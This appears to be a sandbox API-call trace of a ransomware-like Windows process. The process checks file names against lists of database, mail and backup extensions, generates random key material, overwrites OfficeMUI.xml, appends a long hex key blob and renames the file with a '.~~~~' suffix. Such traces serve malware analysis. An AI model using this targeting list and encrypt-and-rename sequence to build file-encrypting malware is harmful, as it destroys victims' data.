	[0076.355] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0076.356] lstrlenW (lpString=".sqb") returned 4
	[0076.356] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".sqb") returned 0x0
	[0076.356] lstrlenW (lpString=".ost") returned 4
	[0076.356] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".ost") returned 0x0
	[0076.356] lstrlenW (lpString=".txt") returned 4
	[0076.356] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".txt") returned 0x0
	[0076.356] lstrlenW (lpString=".mdt") returned 4
	[0076.356] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".mdt") returned 0x0
	[0076.356] lstrlenW (lpString=".BDB") returned 4
	[0076.356] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".BDB") returned 0x0
	[0076.356] lstrlenW (lpString=".eql") returned 4
	[0076.356] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".eql") returned 0x0
	[0076.356] lstrlenW (lpString=".DBF") returned 4
	[0076.356] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".DBF") returned 0x0
	[0076.356] lstrlenW (lpString=".EQL") returned 4
	[0076.356] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".EQL") returned 0x0
	[0076.356] lstrlenW (lpString=".FDB") returned 4
	[0076.356] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".FDB") returned 0x0
	[0076.356] lstrlenW (lpString=".EDB") returned 4
	[0076.356] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".EDB") returned 0x0
	[0076.356] lstrlenW (lpString=".DACPAC") returned 7
	[0076.356] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".DACPAC") returned 0x0
	[0076.356] lstrlenW (lpString=".VHD") returned 4
	[0076.356] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".VHD") returned 0x0
	[0076.356] lstrlenW (lpString=".DBV") returned 4
	[0076.356] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".DBV") returned 0x0
	[0076.356] lstrlenW (lpString=".dacpac") returned 7
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".dacpac") returned 0x0
	[0076.357] lstrlenW (lpString=".sdf") returned 4
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".sdf") returned 0x0
	[0076.357] lstrlenW (lpString=".accdb") returned 6
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".accdb") returned 0x0
	[0076.357] lstrlenW (lpString=".DBX") returned 4
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".DBX") returned 0x0
	[0076.357] lstrlenW (lpString=".MDT") returned 4
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".MDT") returned 0x0
	[0076.357] lstrlenW (lpString=".SQB") returned 4
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".SQB") returned 0x0
	[0076.357] lstrlenW (lpString=".vhd") returned 4
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".vhd") returned 0x0
	[0076.357] lstrlenW (lpString=".bac") returned 4
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".bac") returned 0x0
	[0076.357] lstrlenW (lpString=".mdf") returned 4
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".mdf") returned 0x0
	[0076.357] lstrlenW (lpString=".BAK") returned 4
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".BAK") returned 0x0
	[0076.357] lstrlenW (lpString=".BAC") returned 4
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".BAC") returned 0x0
	[0076.357] lstrlenW (lpString=".dbs") returned 4
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".dbs") returned 0x0
	[0076.357] lstrlenW (lpString=".vhdx") returned 5
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".vhdx") returned 0x0
	[0076.357] lstrlenW (lpString=".NDF") returned 4
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".NDF") returned 0x0
	[0076.357] lstrlenW (lpString=".dat") returned 4
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".dat") returned 0x0
	[0076.357] lstrlenW (lpString=".DBS") returned 4
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".DBS") returned 0x0
	[0076.357] lstrlenW (lpString=".CKP") returned 4
	[0076.357] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".CKP") returned 0x0
	[0076.358] lstrlenW (lpString=".edb") returned 4
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".edb") returned 0x0
	[0076.358] lstrlenW (lpString=".PST") returned 4
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".PST") returned 0x0
	[0076.358] lstrlenW (lpString=".dbf") returned 4
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".dbf") returned 0x0
	[0076.358] lstrlenW (lpString=".SQL") returned 4
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".SQL") returned 0x0
	[0076.358] lstrlenW (lpString=".pst") returned 4
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".pst") returned 0x0
	[0076.358] lstrlenW (lpString=".dbv") returned 4
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".dbv") returned 0x0
	[0076.358] lstrlenW (lpString=".SDF") returned 4
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".SDF") returned 0x0
	[0076.358] lstrlenW (lpString=".dtxs") returned 5
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".dtxs") returned 0x0
	[0076.358] lstrlenW (lpString=".db3") returned 4
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".db3") returned 0x0
	[0076.358] lstrlenW (lpString=".OST") returned 4
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".OST") returned 0x0
	[0076.358] lstrlenW (lpString=".dbx") returned 4
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".dbx") returned 0x0
	[0076.358] lstrlenW (lpString=".DB3") returned 4
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".DB3") returned 0x0
	[0076.358] lstrlenW (lpString=".DAT") returned 4
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".DAT") returned 0x0
	[0076.358] lstrlenW (lpString=".VHDX") returned 5
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".VHDX") returned 0x0
	[0076.358] lstrlenW (lpString=".ndf") returned 4
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".ndf") returned 0x0
	[0076.358] lstrlenW (lpString=".DB") returned 3
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".DB") returned 0x0
	[0076.358] lstrlenW (lpString=".sql") returned 4
	[0076.358] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".sql") returned 0x0
	[0076.359] lstrlenW (lpString=".MYD") returned 4
	[0076.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".MYD") returned 0x0
	[0076.359] lstrlenW (lpString=".DBT") returned 4
	[0076.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".DBT") returned 0x0
	[0076.359] lstrlenW (lpString=".ACCDB") returned 6
	[0076.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".ACCDB") returned 0x0
	[0076.359] lstrlenW (lpString=".fdb") returned 4
	[0076.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".fdb") returned 0x0
	[0076.359] lstrlenW (lpString=".bak") returned 4
	[0076.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".bak") returned 0x0
	[0076.359] lstrlenW (lpString=".myd") returned 4
	[0076.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".myd") returned 0x0
	[0076.359] lstrlenW (lpString=".DTXS") returned 5
	[0076.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".DTXS") returned 0x0
	[0076.359] lstrlenW (lpString=".ckp") returned 4
	[0076.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".ckp") returned 0x0
	[0076.359] lstrlenW (lpString=".dbt") returned 4
	[0076.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".dbt") returned 0x0
	[0076.359] lstrlenW (lpString=".db") returned 3
	[0076.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".db") returned 0x0
	[0076.359] lstrlenW (lpString=".TXT") returned 4
	[0076.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".TXT") returned 0x0
	[0076.359] lstrlenW (lpString=".MDF") returned 4
	[0076.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".MDF") returned 0x0
	[0076.359] lstrlenW (lpString=".bdb") returned 4
	[0076.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".bdb") returned 0x0
	[0076.359] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.359] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7108
	[0076.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.360] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0076.360] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.360] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0076.361] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19635066323) returned 1
	[0076.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9769ee70, dwHighDateTime=0x1d60e1e)) 
	[0076.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3300
	[0076.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3300 | out: hHeap=0x300000) returned 1
	[0076.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7c30
	[0076.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.361] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0076.361] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0076.361] GetLastError () returned 0x0
	[0076.361] GetLastError () returned 0x0
	[0076.361] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0076.361] GetLastError () returned 0x0
	[0076.361] GetLastError () returned 0x0
	[0076.362] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x26dfec0*=0x15b5, lpOverlapped=0x0) returned 1
	[0076.363] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffea4b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.363] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x15b5, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x26dfec0*=0x15b5, lpOverlapped=0x0) returned 1
	[0076.363] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0076.363] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.363] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.364] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.364] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.364] CloseHandle (hObject=0x130) returned 1
	[0076.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0076.364] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.~~~~")) returned 1
	[0076.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4830 | out: hHeap=0x300000) returned 1
	[0076.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0076.364] GetLastError () returned 0x0
	[0076.365] RtlWakeConditionVariable () returned 0x365f70
	[0076.365] GetCurrentThreadId () returned 0x9cc
	[0076.365] GetCurrentThreadId () returned 0x9cc
	[0076.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a43e0
	[0076.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4a58 | out: hHeap=0x300000) returned 1
	[0076.365] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3338 | out: hHeap=0x300000) returned 1
	[0076.365] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4a58
	[0076.365] lstrlenW (lpString=".scr") returned 4
	[0076.365] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".scr") returned 0x0
	[0076.365] lstrlenW (lpString=".cmd") returned 4
	[0076.365] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".cmd") returned 0x0
	[0076.365] lstrlenW (lpString=".dll") returned 4
	[0076.365] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".dll") returned 0x0
	[0076.365] lstrlenW (lpString=".bat") returned 4
	[0076.365] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".bat") returned 0x0
	[0076.365] lstrlenW (lpString=".cpl") returned 4
	[0076.365] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".cpl") returned 0x0
	[0076.365] lstrlenW (lpString=".sys") returned 4
	[0076.365] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".sys") returned 0x0
	[0076.365] lstrlenW (lpString=".msc") returned 4
	[0076.365] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".msc") returned 0x0
	[0076.365] lstrlenW (lpString=".com") returned 4
	[0076.365] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".com") returned 0x0
	[0076.365] lstrlenW (lpString=".lnk") returned 4
	[0076.365] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".lnk") returned 0x0
	[0076.365] lstrlenW (lpString=".msp") returned 4
	[0076.365] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".msp") returned 0x0
	[0076.365] lstrlenW (lpString=".pif") returned 4
	[0076.365] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".pif") returned 0x0
	[0076.365] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.365] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0076.365] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0076.366] lstrlenW (lpString=".sqb") returned 4
	[0076.366] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".sqb") returned 0x0
	[0076.366] lstrlenW (lpString=".ost") returned 4
	[0076.366] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".ost") returned 0x0
	[0076.366] lstrlenW (lpString=".txt") returned 4
	[0076.366] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".txt") returned 0x0
	[0076.366] lstrlenW (lpString=".mdt") returned 4
	[0076.366] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".mdt") returned 0x0
	[0076.366] lstrlenW (lpString=".BDB") returned 4
	[0076.366] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".BDB") returned 0x0
	[0076.366] lstrlenW (lpString=".eql") returned 4
	[0076.366] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".eql") returned 0x0
	[0076.366] lstrlenW (lpString=".DBF") returned 4
	[0076.366] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".DBF") returned 0x0
	[0076.366] lstrlenW (lpString=".EQL") returned 4
	[0076.366] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".EQL") returned 0x0
	[0076.366] lstrlenW (lpString=".FDB") returned 4
	[0076.366] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".FDB") returned 0x0
	[0076.366] lstrlenW (lpString=".EDB") returned 4
	[0076.366] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".EDB") returned 0x0
	[0076.366] lstrlenW (lpString=".DACPAC") returned 7
	[0076.366] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".DACPAC") returned 0x0
	[0076.366] lstrlenW (lpString=".VHD") returned 4
	[0076.366] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".VHD") returned 0x0
	[0076.366] lstrlenW (lpString=".DBV") returned 4
